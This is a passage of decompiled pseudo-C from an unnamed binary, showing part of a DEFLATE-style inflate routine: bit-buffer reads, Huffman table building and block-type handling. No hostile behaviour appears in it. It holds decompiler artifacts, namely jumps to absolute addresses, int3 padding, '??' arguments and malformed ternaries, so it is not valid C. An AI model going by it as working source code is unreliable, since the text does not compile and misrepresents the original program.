											_t881 = _t881 - 1;
											 *(_t1066 - 8) = _t881;
											if(_t834 == 0) {
												goto L38;
											}
											L18:
											if( *(_t1066 - 0x10) >=  *((intOrPtr*)(_t1066 - 0x40))) {
												L238:
												 *(_t1066 - 0xc) = 2;
												 *_t1029 = 0x35;
												goto L292;
											} else {
												L19:
												 *(_t1066 - 0x10) =  *(_t1066 - 0x10) + 1;
												 *((intOrPtr*)(_t1066 - 0x48)) =  *((intOrPtr*)(_t1066 - 0x48)) + 1;
												 *( *(_t1066 - 0x10)) =  *((intOrPtr*)(( *((intOrPtr*)(_t1066 - 0x48)) -  *(_t1066 - 0x28) &  *(_t1066 - 0x34)) +  *((intOrPtr*)(_t1066 + 0xc))));
												_t988 =  *(_t1066 - 4);
												continue;
											}
											goto L295;
										}
										while(1) {
											L38:
											_t883 =  *(_t1066 - 0x20) - _t846;
											__eflags = _t883 - 4;
											if(_t883 < 4) {
												goto L57;
											}
											L39:
											_t1029 =  *(_t1066 - 0x14);
											__eflags =  *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) - 2;
											if( *((intOrPtr*)(_t1066 - 0x40)) -  *(_t1066 - 0x10) < 2) {
												goto L57;
											} else {
												L40:
												__eflags = _t1050 - 0xf;
												if(_t1050 < 0xf) {
													_t1002 =  *(_t846 + 1) & 0x000000ff;
													_t883 = _t1050;
													_t724 =  *_t846 & 0x000000ff;
													_t846 = _t846 + 2;
													 *(_t1066 - 0x18) = _t846;
													 *(_t1066 - 4) =  *(_t1066 - 4) | (_t1002 << 0x00000008 | _t724) << _t883;
													_t1050 = _t1050 + 0x10;
													__eflags = _t1050;
													_t988 =  *(_t1066 - 4);
												}
												_t595 =  *((short*)(_t1029 + 0x160 + (_t988 & 0x000003ff) * 2));
												 *(_t1066 - 8) = _t595;
												__eflags = _t595;
												if(_t595 < 0) {
													L44:
													goto 0x33145c;
													asm("int3");
													asm("int3");
													asm("int3");
													do {
														L45:
														_t711 = _t988 >> _t883;
														_t883 = _t883 + 1;
														_t595 = (_t711 & 0x00000001) +  !_t846;
														_t846 =  *((short*)(_t1029 + 0x960 + _t595 * 2));
														__eflags = _t846;
													} while (_t846 < 0);
													 *(_t1066 - 8) = _t846;
													_t846 =  *(_t1066 - 0x18);
												} else {
													L43:
													_t883 = _t595 >> 9;
												}
												L47:
												_t987 = _t988 >> _t883;
												_t1064 = _t1050 - _t883;
												_t884 =  *(_t1066 - 8);
												 *(_t1066 - 4) = _t987;
												__eflags = _t884 & 0x00000100;
												if((_t884 & 0x00000100) != 0) {
													L83:
													_t885 = _t884 & 0x000001ff;
													 *(_t1066 - 8) = _t885;
													__eflags = _t885 - 0x100;
													if(_t885 != 0x100) {
														L219:
														_t673 = _t885 * 4 - 0x404;
														_t872 =  *(_t673 + 0x31f010);
														_t595 =  *(_t673 + 0x31fa48);
														 *(_t1066 - 0x38) = _t872;
														 *(_t1066 - 8) = _t595;
														__eflags = _t872;
														if(_t872 == 0) {
															L225:
															__eflags = _t1064 - 0xf;
															if(_t1064 >= 0xf) {
																L2:
																_t655 =  *((short*)(_t1029 + 0xf00 + (_t987 & 0x000003ff) * 2));
																 *(_t1066 - 0x1c) = _t655;
																if(_t655 < 0) {
																	goto L4;
																}
																goto L8;
															} else {
																L226:
																__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																if( *(_t1066 - 0x20) - _t846 >= 2) {
																	L237:
																	_t989 =  *(_t846 + 1) & 0x000000ff;
																	_t676 =  *_t846 & 0x000000ff;
																	_t846 = _t846 + 2;
																	_t1029 =  *(_t1066 - 0x14);
																	_t872 = _t1064;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) =  *(_t1066 - 4) | _t989 << _t1064 + 0x00000008 | _t676 << _t872;
																	_t1064 = _t1064 + 0x10;
																	_t987 =  *(_t1066 - 4);
																	do {
																		goto L2;
																	} while (_t1064 >= 0xf);
																	goto L226;
																} else {
																	goto L227;
																}
															}
														} else {
															L220:
															__eflags = _t1064 - _t872;
															if(_t1064 >= _t872) {
																L223:
																L224:
																_t1064 = _t1064 - _t872;
																_t680 = (_t595 << _t872) - 0x00000001 & _t987;
																_t987 = _t987 >> _t872;
																_t456 = _t1066 - 8;
																 *_t456 =  *(_t1066 - 8) + _t680;
																__eflags =  *_t456;
																 *(_t1066 - 4) = _t987;
																goto L225;
															} else {
																while(1) {
																	L221:
																	__eflags = _t846 -  *(_t1066 - 0x20);
																	if(_t846 >=  *(_t1066 - 0x20)) {
																		break;
																	}
																	L222:
																	_t595 = ( *_t846 & 0x000000ff) << _t1064;
																	_t846 = _t846 + 1;
																	_t872 =  *(_t1066 - 0x38);
																	_t987 = _t987 | _t595;
																	_t1050 = _t1064 + 8;
																	 *(_t1066 - 0x18) = _t846;
																	 *(_t1066 - 4) = _t987;
																	__eflags = _t1050 - _t872;
																	if(_t1050 < _t872) {
																		continue;
																	} else {
																		goto L223;
																	}
																	goto L295;
																}
																L262:
																 *_t1029 = 0x19;
																goto L285;
															}
														}
													} else {
														while(1) {
															L84:
															__eflags =  *(_t1029 + 0x14) & 0x00000001;
															if(( *(_t1029 + 0x14) & 0x00000001) != 0) {
																break;
															}
															L85:
															__eflags = _t1064 - 3;
															if(_t1064 >= 3) {
																L88:
																_t1050 = _t1064 - 3;
																_t693 = _t987 & 0x00000007;
																_t997 = _t987 >> 3;
																 *(_t1029 + 0x14) = _t693;
																_t694 = _t693 >> 1;
																__eflags = _t694;
																 *(_t1066 - 4) = _t997;
																 *(_t1066 - 0x1c) = _t1050;
																 *(_t1029 + 0x18) = _t694;
																if(_t694 != 0) {
																	L123:
																	__eflags = _t694 - 3;
																	if(_t694 == 3) {
																		L266:
																		 *(_t1066 - 0xc) = 0xffffffff;
																		 *_t1029 = 0xa;
																		goto L292;
																	} else {
																		L124:
																		__eflags = _t694 - 1;
																		if(_t694 != 1) {
																			L127:
																			_t897 = 0;
																			__eflags = 0;
																			while(1) {
																				L128:
																				 *(_t1066 - 8) = _t897;
																				__eflags = _t897 - 3;
																				if(_t897 >= 3) {
																					break;
																				}
																				L129:
																				_t595 =  *((char*)(_t897 + 0x31f004));
																				 *(_t1066 - 0x1c) = _t595;
																				__eflags = _t1050 - _t595;
																				if(_t1050 >= _t595) {
																					L132:
																					_t1024 = _t1029 + _t897 * 4;
																					_t1043 =  *(_t1066 - 4);
																					 *(_t1024 + 0x2c) = (0x00000001 <<  *(_t1066 - 0x1c)) - 0x00000001 & _t1043;
																					_t806 =  *(_t1066 - 8);
																					_t936 =  *((char*)(_t806 + 0x31f004));
																					_t1044 = _t1043 >> _t936;
																					_t1050 = _t1050 - _t936;
																					_t937 = _t806;
																					 *(_t1066 - 4) = _t1044;
																					 *(_t1066 - 0x1c) = _t1050;
																					 *(_t1024 + 0x2c) =  *(_t1024 + 0x2c) +  *((intOrPtr*)(0x31fa38 + _t937 * 4));
																					_t997 = _t1044;
																					_t1029 =  *(_t1066 - 0x14);
																					_t897 = _t937 + 1;
																					continue;
																				} else {
																					while(1) {
																						L130:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L131:
																						_t809 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t897 =  *(_t1066 - 8);
																						_t997 = _t997 | _t809;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 0x18) = _t846;
																						 *(_t1066 - 4) = _t997;
																						_t595 =  *((char*)(_t897 + 0x31f004));
																						 *(_t1066 - 0x1c) = _t595;
																						__eflags = _t1050 - _t595;
																						if(_t1050 < _t595) {
																							continue;
																						} else {
																							goto L132;
																						}
																						goto L295;
																					}
																					L248:
																					 *_t1029 = 0xb;
																					goto L285;
																				}
																				goto L295;
																			}
																			L133:
																			L134:
																			_t595 = memset(_t1029 + 0x1b80, 0, ??);
																			_t998 =  *(_t1066 - 4);
																			_t1068 = _t1068 + 0xc;
																			_t898 = 0;
																			__eflags = 0;
																			while(1) {
																				L135:
																				 *(_t1066 - 8) = _t898;
																				__eflags = _t898 -  *((intOrPtr*)(_t1029 + 0x34));
																				if(_t898 >=  *((intOrPtr*)(_t1029 + 0x34))) {
																					break;
																				}
																				L136:
																				__eflags = _t1050 - 3;
																				if(_t1050 >= 3) {
																					L139:
																					_t932 = _t998 & 0x00000007;
																					_t998 = _t998 >> 3;
																					_t1050 = _t1050 - 3;
																					 *(_t1066 - 4) = _t998;
																					 *(_t1066 - 0x1c) = _t1050;
																					_t595 =  *( *(_t1066 - 8) + 0x31fa24) & 0x000000ff;
																					 *(_t1029 + 0x1b80 + _t595) = _t932;
																					_t898 =  *(_t1066 - 8) + 1;
																					continue;
																				} else {
																					while(1) {
																						L137:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L138:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t998 = _t998 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t998;
																						__eflags = _t1050 - 3;
																						if(_t1050 < 3) {
																							continue;
																						} else {
																							goto L139;
																						}
																						goto L295;
																					}
																					L249:
																					 *_t1029 = 0xe;
																					goto L285;
																				}
																				goto L295;
																			}
																			L140:
																			 *((intOrPtr*)(_t1029 + 0x34)) = 0x13;
																			goto L141;
																		} else {
																			L125:
																			goto 0x3314d8;
																			asm("int3");
																			asm("int3");
																			 *((intOrPtr*)(_t694 + 0x2c)) = 0x120;
																			L126:
																			_t811 = _t694 + 1 - 0x20;
																			 *_t811 =  *_t811 + _t811;
																			_t846 = _t846 + _t811;
																			_t812 = _t811 + 1;
																			 *_t812 =  *_t812 ^ _t812;
																			 *_t812 = _t812 +  *_t812;
																			 *0xde0 =  *0xde0 + _t812;
																			memset(_t812, ??, ??);
																			asm("movdqa xmm0, [0x31fae0]");
																			_t1068 = _t1068 + 0xc;
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movdqu [edi+0x80], xmm0");
																			asm("movdqu [edi+0x90], xmm0");
																			asm("movdqu [edi+0xa0], xmm0");
																			asm("movdqu [edi+0xb0], xmm0");
																			asm("movdqu [edi+0xc0], xmm0");
																			_t1045 = _t1029 + 0xd0;
																			asm("movdqa xmm0, [0x31faf0]");
																			asm("movdqu [edi], xmm0");
																			asm("movdqu [edi+0x10], xmm0");
																			asm("movdqu [edi+0x20], xmm0");
																			asm("movdqu [edi+0x30], xmm0");
																			asm("movdqu [edi+0x40], xmm0");
																			asm("movdqu [edi+0x50], xmm0");
																			asm("movdqu [edi+0x60], xmm0");
																			asm("movdqa xmm0, [0x31fad0]");
																			asm("movdqu [edi+0x70], xmm0");
																			asm("movq [edi+0x80], xmm0");
																			 *((intOrPtr*)(_t1045 + 0x88)) = 0x8080808;
																			 *((intOrPtr*)(_t1045 + 0x8c)) = 0x8080808;
																			_t1029 =  *(_t1066 - 0x14);
																			while(1) {
																				L141:
																				_t696 =  *(_t1029 + 0x18);
																				__eflags = _t696;
																				if(_t696 < 0) {
																					break;
																				}
																				L142:
																				 *(_t1066 - 0xc) = 0x40 + _t696 * 0xda0 + _t1029;
																				memset(_t1066 - 0xd0, 0, 0x40);
																				memset( *(_t1066 - 0xc) + 0x120, 0, 0x800);
																				memset( *(_t1066 - 0xc) + 0x920, 0, 0x480);
																				_t899 = 0;
																				_t1068 = _t1068 + 0x24;
																				_t1012 = _t1029 + ( *(_t1029 + 0x18) + 0xb) * 4;
																				 *(_t1066 - 0x44) = _t1012;
																				__eflags =  *_t1012;
																				if( *_t1012 > 0) {
																					L143:
																					_t1029 =  *(_t1066 - 0xc);
																					do {
																						L144:
																						_t799 =  *(_t899 + _t1029) & 0x000000ff;
																						_t899 = _t899 + 1;
																						 *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) =  *((intOrPtr*)(_t1066 + _t799 * 4 - 0xd0)) + 1;
																						__eflags = _t899 -  *_t1012;
																					} while (_t899 <  *_t1012);
																				}
																				L145:
																				goto 0x331500;
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				asm("int3");
																				L146:
																				 *(_t1066 - 0x8c) = _t899;
																				 *(_t1066 - 0x90) = _t899;
																				 *(_t1066 - 0x2c) = _t899;
																				 *(_t1066 - 0x30) = _t899;
																				do {
																					L147:
																					_t736 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd4));
																					_t901 = _t899 + _t736 + _t899 + _t736;
																					_t1029 = _t1029 + _t736;
																					_t737 =  *((intOrPtr*)(_t1066 + _t1012 - 0xd0));
																					 *(_t1066 - 0x30) =  *(_t1066 - 0x30) + _t737;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x90)) = _t901;
																					_t738 =  *((intOrPtr*)(_t1066 + _t1012 - 0xcc));
																					_t903 = _t901 + _t737 + _t901 + _t737;
																					 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) + _t738;
																					 *((intOrPtr*)(_t1066 + _t1012 - 0x8c)) = _t903;
																					_t899 = _t903 + _t738 + _t903 + _t738;
																					 *(_t1066 + _t1012 - 0x88) = _t899;
																					_t1012 = _t1012 + 0xc;
																					__eflags = _t1012 - 0x40;
																				} while (_t1012 <= 0x40);
																				 *(_t1066 - 0x4c) = _t899;
																				 *(_t1066 - 0x24) = _t1029;
																				_t1029 =  *(_t1066 - 0x14);
																				_t906 =  *(_t1066 - 0x24) +  *(_t1066 - 0x2c) +  *(_t1066 - 0x30);
																				__eflags =  *(_t1066 - 0x4c) - 0x10000;
																				if( *(_t1066 - 0x4c) == 0x10000) {
																					L150:
																					_t741 =  *(_t1066 - 0x44);
																					 *(_t1066 - 0x30) = 0xffffffff;
																					 *(_t1066 - 0x4c) = 0;
																					__eflags =  *_t741;
																					if( *_t741 > 0) {
																						L151:
																						_t1065 =  *(_t1066 - 0x4c);
																						do {
																							L152:
																							L153:
																							_t918 =  *(_t1065 + _t741) & 0x000000ff;
																							 *(_t1066 - 0x44) = _t918;
																							__eflags = _t918;
																							if(_t918 != 0) {
																								L154:
																								_t778 =  *(_t1066 + _t918 * 4 - 0x90);
																								 *(_t1066 - 0x2c) = _t778;
																								 *(_t1066 + _t918 * 4 - 0x90) = _t778 + 1;
																								 *(_t1066 - 0x24) = _t918;
																								__eflags = _t918;
																								if(_t918 != 0) {
																									L155:
																									do {
																										L156:
																										 *(_t1066 - 0x2c) =  *(_t1066 - 0x2c) >> 1;
																										_t798 =  *(_t1066 - 0x24) - 1;
																										_t1012 = _t1012 + _t1012 |  *(_t1066 - 0x2c) & 0x00000001;
																										 *(_t1066 - 0x24) = _t798;
																										__eflags = _t798;
																									} while (_t798 != 0);
																									_t918 =  *(_t1066 - 0x44);
																								}
																								L158:
																								__eflags = _t918 - 0xa;
																								if(_t918 > 0xa) {
																									L164:
																									_t782 =  *(_t1066 - 0xc) + 0x120 + (_t1012 & 0x000003ff) * 2;
																									_t846 =  *(_t1066 - 0x30);
																									 *(_t1066 - 0x44) = _t782;
																									_t783 =  *_t782;
																									 *(_t1066 - 0x2c) = _t783;
																									__eflags = _t783;
																									if(_t783 == 0) {
																										 *( *(_t1066 - 0x44)) = _t846;
																										_t783 = _t846;
																										_t846 = _t846 - 2;
																										__eflags = _t846;
																										 *(_t1066 - 0x2c) = _t783;
																										 *(_t1066 - 0x30) = _t846;
																									}
																									L166:
																									_t1020 = _t1012 >> 9;
																									__eflags = _t918 - 0xb;
																									if(_t918 > 0xb) {
																										L167:
																										_t919 = _t918 + 0xfffffff5;
																										__eflags = _t919;
																										 *(_t1066 - 0x24) = _t919;
																										_t920 =  *(_t1066 - 0x2c);
																										do {
																											L168:
																											_t1020 = _t1020 >> 1;
																											_t788 = 0x48f - _t920 - (_t1020 & 0x00000001);
																											_t923 =  *( *(_t1066 - 0xc) + 0x91e) & 0x0000ffff;
																											__eflags = _t923;
																											if(_t923 != 0) {
																												_t920 = _t923;
																											} else {
																												 *( *(_t1066 - 0xc) + _t788 * 2) = _t846;
																												_t789 =  *(_t1066 - 0x30);
																												_t920 = _t789;
																												_t790 = _t789 - 2;
																												 *(_t1066 - 0x30) = _t790;
																												_t846 = _t790;
																											}
																											L171:
																											_t361 = _t1066 - 0x24;
																											 *_t361 =  *(_t1066 - 0x24) - 1;
																											__eflags =  *_t361;
																										} while ( *_t361 != 0);
																										 *(_t1066 - 0x2c) = _t920;
																										_t783 = _t920;
																									}
																									L173:
																									_t1012 = (_t1020 >> 0x00000001 & 0x00000001) - _t783;
																									__eflags = _t1012;
																									 *( *(_t1066 - 0xc) + 0x91e + _t1012 * 2) = _t1065;
																								} else {
																									L159:
																									_t795 = (_t918 << 0x00000009 | _t1065) & 0x0000ffff;
																									 *(_t1066 - 0x44) = _t795;
																									__eflags = _t1012 - 0x400;
																									if(_t1012 < 0x400) {
																										L160:
																										goto 0x33152a;
																										asm("int3");
																										asm("int3");
																										asm("int3");
																										L161:
																										_t796 = _t795 << _t918;
																										 *(_t1066 - 0x4c) = _t796 + _t796;
																										_t928 =  *(_t1066 - 0xc) + _t1012 * 2 + 0x120;
																										__eflags = _t928;
																										do {
																											L162:
																											 *_t928 = _t1029;
																											_t1012 = _t1012 + _t796;
																											_t928 = _t928 +  *(_t1066 - 0x4c);
																											__eflags = _t1012 - 0x400;
																										} while (_t1012 < 0x400);
																										_t1029 =  *(_t1066 - 0x14);
																									}
																								}
																							}
																							L174:
																							_t741 =  *(_t1029 + 0x18);
																							_t1065 = _t1065 + 1;
																							__eflags = _t1065 -  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4));
																						} while (_t1065 <  *((intOrPtr*)(_t1029 + 0x2c + _t741 * 4)));
																						goto 0x331540;
																						asm("int3");
																					}
																					L176:
																					__eflags =  *(_t1029 + 0x18) - 2;
																					if( *(_t1029 + 0x18) != 2) {
																						L217:
																						 *(_t1029 + 0x18) =  *(_t1029 + 0x18) - 1;
																						continue;
																					} else {
																						L177:
																						_t907 = 0;
																						__eflags = 0;
																						while(1) {
																							L178:
																							_t1013 =  *(_t1066 - 4);
																							while(1) {
																								L179:
																								 *(_t1066 - 8) = _t907;
																								__eflags = _t907 -  *(_t1029 + 0x30) +  *(_t1029 + 0x2c);
																								if(_t907 >=  *(_t1029 + 0x30) +  *(_t1029 + 0x2c)) {
																									break;
																								}
																								L180:
																								__eflags = _t1065 - 0xf;
																								if(_t1065 >= 0xf) {
																									L197:
																									_t756 =  *((short*)(_t1029 + 0x1ca0 + (_t1013 & 0x000003ff) * 2));
																									 *(_t1066 - 0x28) = _t756;
																									__eflags = _t756;
																									if(_t756 < 0) {
																										L199:
																										L200:
																										do {
																											L201:
																											 *(_t1066 - 0x28) =  !( *(_t1066 - 0x28));
																											_t758 = _t1013 >> _t907;
																											_t907 = _t907 + 1;
																											_t595 =  *((short*)(_t1029 + 0x24a0 + ((_t758 & 0x00000001) +  *(_t1066 - 0x28)) * 2));
																											 *(_t1066 - 0x28) = _t595;
																											__eflags = _t595;
																										} while (_t595 < 0);
																									} else {
																										L198:
																										_t907 = _t756 >> 9;
																										_t595 = _t756 & 0x000001ff;
																										 *(_t1066 - 0x28) = _t595;
																									}
																									L202:
																									_t1013 = _t1013 >> _t907;
																									_t1050 = _t1065 - _t907;
																									 *(_t1066 - 4) = _t1013;
																									 *(_t1066 - 0x1c) = _t1050;
																									__eflags = _t595 - 0x10;
																									if(__eflags >= 0) {
																										L204:
																										if(__eflags != 0) {
																											L207:
																											_t908 =  *((char*)(_t595 + 0x31eff0));
																											 *(_t1066 - 0x38) = _t908;
																											__eflags = _t1050 - _t908;
																											if(_t1050 >= _t908) {
																												L211:
																												_t1050 = _t1050 - _t908;
																												 *(_t1066 - 0x1c) = _t1050;
																												_t909 =  *(_t1066 - 0x14);
																												_t1039 = ((0x00000001 << _t908) - 0x00000001 & _t1013) +  *((char*)(_t595 + 0x31eff8));
																												__eflags =  *(_t1066 - 0x28) - 0x10;
																												_t762 =  *(_t1066 - 8);
																												 *(_t1066 - 4) = _t1013 >> _t908;
																												if( *(_t1066 - 0x28) != 0x10) {
																													_t1016 = 0;
																													__eflags = 0;
																												} else {
																													_t1016 =  *(_t762 + _t909 + 0x2923) & 0x000000ff;
																												}
																												L214:
																												memset(_t762 + _t909 + 0x2924, _t1016, _t1039);
																												_t1068 = _t1068 + 0xc;
																												_t907 =  *(_t1066 - 8) + _t1039;
																												_t1029 =  *(_t1066 - 0x14);
																												L178:
																												_t1013 =  *(_t1066 - 4);
																												continue;
																											} else {
																												while(1) {
																													L208:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														break;
																													}
																													L209:
																													_t595 = ( *_t846 & 0x000000ff) << _t1050;
																													_t846 = _t846 + 1;
																													_t908 =  *(_t1066 - 0x38);
																													_t1013 = _t1013 | _t595;
																													_t1050 = _t1050 + 8;
																													 *(_t1066 - 0x18) = _t846;
																													 *(_t1066 - 4) = _t1013;
																													__eflags = _t1050 - _t908;
																													if(_t1050 < _t908) {
																														continue;
																													} else {
																														L210:
																														_t595 =  *(_t1066 - 0x28);
																														goto L211;
																													}
																													goto L295;
																												}
																												L251:
																												 *_t1029 = 0x12;
																												goto L285;
																											}
																										} else {
																											L205:
																											_t766 =  *(_t1066 - 8);
																											__eflags = _t766;
																											if(_t766 == 0) {
																												L268:
																												_t684 = _t766 | 0xffffffff;
																												 *_t1029 = 0x11;
																												goto L291;
																											} else {
																												L206:
																												_t595 =  *(_t1066 - 0x28);
																												goto L207;
																											}
																										}
																									} else {
																										L203:
																										_t913 =  *(_t1066 - 8);
																										 *(_t1029 + 0x2924 + _t913) = _t595;
																										_t907 = _t913 + 1;
																										continue;
																									}
																								} else {
																									L181:
																									__eflags =  *(_t1066 - 0x20) - _t846 - 2;
																									if( *(_t1066 - 0x20) - _t846 >= 2) {
																										L195:
																										_t1017 =  *(_t846 + 1) & 0x000000ff;
																										_t769 =  *_t846 & 0x000000ff;
																										_t846 = _t846 + 2;
																										_t907 = _t1065;
																										 *(_t1066 - 0x18) = _t846;
																										 *(_t1066 - 4) =  *(_t1066 - 4) | _t1017 << _t1065 + 0x00000008 | _t769 << _t907;
																										_t1065 = _t1065 + 0x10;
																										__eflags = _t1065;
																										_t1013 =  *(_t1066 - 4);
																										goto L196;
																									} else {
																										do {
																											L182:
																											_t595 = _t1013 & 0x000003ff;
																											_t1040 =  *((short*)(_t1029 + 0x1ca0 + _t595 * 2));
																											__eflags = _t1040;
																											if(_t1040 < 0) {
																												L186:
																												__eflags = _t1065 - 0xa;
																												if(_t1065 <= 0xa) {
																													goto L191;
																												} else {
																													L187:
																													L188:
																													 *(_t1066 - 0x24) = _t907;
																													while(1) {
																														L189:
																														_t1040 =  *((short*)( *(_t1066 - 0x14) + 0x24a0 + ((_t1013 >> _t907 & 0x00000001) +  !_t1040) * 2));
																														_t907 =  *(_t1066 - 0x24) + 1;
																														 *(_t1066 - 0x24) = _t907;
																														__eflags = _t1040;
																														if(_t1040 >= 0) {
																															goto L196;
																														}
																														L190:
																														_t595 = _t907 + 1;
																														__eflags = _t1065 - _t595;
																														if(_t1065 >= _t595) {
																															continue;
																														} else {
																															goto L191;
																														}
																														goto L295;
																													}
																													goto L196;
																												}
																											} else {
																												L183:
																												_t1042 = _t1040 >> 9;
																												__eflags = _t1042;
																												if(_t1042 == 0) {
																													L191:
																													_t1029 =  *(_t1066 - 0x14);
																													L192:
																													__eflags = _t846 -  *(_t1066 - 0x20);
																													if(_t846 >=  *(_t1066 - 0x20)) {
																														L250:
																														 *_t1029 = 0x10;
																														goto L285;
																													} else {
																														goto L193;
																													}
																												} else {
																													L184:
																													__eflags = _t1065 - _t1042;
																													if(_t1065 >= _t1042) {
																														L196:
																														_t1029 =  *(_t1066 - 0x14);
																														goto L197;
																													} else {
																														L185:
																														goto L191;
																													}
																												}
																											}
																											goto L295;
																											L193:
																											_t907 = _t1065;
																											_t773 = ( *_t846 & 0x000000ff) << _t907;
																											_t846 = _t846 + 1;
																											_t1013 = _t1013 | _t773;
																											 *(_t1066 - 0x18) = _t846;
																											_t1065 = _t1065 + 8;
																											 *(_t1066 - 4) = _t1013;
																											__eflags = _t1065 - 0xf;
																										} while (_t1065 < 0xf);
																										goto L197;
																									}
																								}
																								goto L295;
																							}
																							L215:
																							_t1014 =  *(_t1029 + 0x2c);
																							_t745 =  *(_t1029 + 0x30) + _t1014;
																							__eflags = _t745 - _t907;
																							if(_t745 != _t907) {
																								L269:
																								_t684 = _t745 | 0xffffffff;
																								 *_t1029 = 0x15;
																								goto L291;
																							} else {
																								L216:
																								memcpy(_t1029 + 0x40, _t1029 + 0x2924, _t1014);
																								_t751 =  *(_t1029 + 0x2c) + 0x2924 + _t1029;
																								__eflags = _t751;
																								memcpy(_t1029 + 0xde0, _t751,  *(_t1029 + 0x30));
																								_t1068 = _t1068 + 0x18;
																								goto L217;
																							}
																							goto L295;
																						}
																					}
																				} else {
																					L149:
																					__eflags = _t906 - 1;
																					if(_t906 > 1) {
																						L267:
																						 *(_t1066 - 0xc) = 0xffffffff;
																						 *_t1029 = 0x23;
																						goto L292;
																					} else {
																						goto L150;
																					}
																				}
																				goto L295;
																			}
																			L218:
																			_t988 =  *(_t1066 - 4);
																			while(1) {
																				L38:
																				_t883 =  *(_t1066 - 0x20) - _t846;
																				__eflags = _t883 - 4;
																				if(_t883 < 4) {
																					goto L57;
																				}
																				goto L39;
																			}
																			goto L57;
																		}
																	}
																} else {
																	L89:
																	_t595 = _t1050 & 0x00000007;
																	__eflags = _t1050 - _t595;
																	if(_t1050 >= _t595) {
																		L92:
																		_t940 = _t1050 & 0x00000007;
																		_t987 = _t997 >> _t940;
																		_t1050 = _t1050 - _t940;
																		 *(_t1066 - 4) = _t987;
																		_t941 = 0;
																		__eflags = 0;
																		while(1) {
																			L93:
																			 *(_t1066 - 8) = _t941;
																			__eflags = _t941 - 4;
																			if(_t941 >= 4) {
																				break;
																			}
																			L94:
																			__eflags = _t1050;
																			if(_t1050 == 0) {
																				L100:
																				__eflags = _t846 -  *(_t1066 - 0x20);
																				if(_t846 >=  *(_t1066 - 0x20)) {
																					L244:
																					 *_t1029 = 7;
																					goto L285;
																				} else {
																					L101:
																					_t595 =  *_t846;
																					_t846 = _t846 + 1;
																					(_t1029 + 0x2920)[_t941] = _t595;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 0x18) = _t846;
																					continue;
																				}
																			} else {
																				L95:
																				__eflags = _t1050 - 8;
																				if(_t1050 >= 8) {
																					L99:
																					(_t1029 + 0x2920)[_t941] = _t987;
																					_t1050 = _t1050 - 8;
																					_t987 = _t987 >> 8;
																					_t941 = _t941 + 1;
																					 *(_t1066 - 4) = _t987;
																					continue;
																				} else {
																					while(1) {
																						L96:
																						__eflags = _t846 -  *(_t1066 - 0x20);
																						if(_t846 >=  *(_t1066 - 0x20)) {
																							break;
																						}
																						L97:
																						_t595 = ( *_t846 & 0x000000ff) << _t1050;
																						_t846 = _t846 + 1;
																						_t987 = _t987 | _t595;
																						 *(_t1066 - 0x18) = _t846;
																						_t1050 = _t1050 + 8;
																						 *(_t1066 - 4) = _t987;
																						__eflags = _t1050 - 8;
																						if(_t1050 < 8) {
																							continue;
																						} else {
																							L98:
																							_t941 =  *(_t1066 - 8);
																							goto L99;
																						}
																						goto L295;
																					}
																					L243:
																					 *_t1029 = 6;
																					goto L285;
																				}
																			}
																			goto L295;
																		}
																		L102:
																		_t595 =  *(_t1029 + 0x2922) & 0x000000ff;
																		 *(_t1066 - 8) = ( *(_t1029 + 0x2921) & 0x000000ff) << 0x00000008 |  *(_t1029 + 0x2920) & 0x000000ff;
																		__eflags =  *(_t1066 - 8) - ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff);
																		if( *(_t1066 - 8) != ((( *(_t1029 + 0x2923) & 0x000000ff) << 0x00000008 | _t595) ^ 0x0000ffff)) {
																			L265:
																			 *(_t1066 - 0xc) = 0xffffffff;
																			 *_t1029 = 0x27;
																			goto L292;
																		} else {
																			L103:
																			_t949 =  *(_t1066 - 8);
																			while(1) {
																				L104:
																				__eflags = _t949;
																				if(_t949 == 0) {
																					goto L84;
																				}
																				L105:
																				__eflags = _t1050;
																				if(_t1050 == 0) {
																					L112:
																					_t595 =  *(_t1066 - 0x10);
																					while(1) {
																						L113:
																						__eflags = _t949;
																						if(_t949 == 0) {
																							break;
																						}
																						L115:
																						_t1025 =  *((intOrPtr*)(_t1066 - 0x40));
																						__eflags = _t595 - _t1025;
																						if(_t595 < _t1025) {
																							L117:
																							_t595 =  *(_t1066 - 0x20);
																							__eflags = _t846 - _t595;
																							if(_t846 >= _t595) {
																								L247:
																								_t1029 =  *(_t1066 - 0x14);
																								 *_t1029 = 0x26;
																								goto L285;
																							} else {
																								L118:
																								_t987 = _t1025 -  *(_t1066 - 0x10);
																								_t1047 = _t595 - _t846;
																								__eflags = _t987 - _t1047;
																								_t817 =  <  ? _t987 : _t1047;
																								__eflags = ( <  ? _t987 : _t1047) - _t949;
																								if(( <  ? _t987 : _t1047) >= _t949) {
																									_t1029 = _t949;
																								} else {
																									__eflags = _t987 - _t1047;
																									_t1029 =  <  ? _t987 : _t1047;
																								}
																								L121:
																								L122:
																								memcpy();
																								_t846 = _t846 + _t1029;
																								_t595 =  *(_t1066 - 0x10) + _t1029;
																								_t1068 = _t1068 + 0xc;
																								 *(_t1066 - 0x18) = _t846;
																								_t949 =  *(_t1066 - 8) - _t1029;
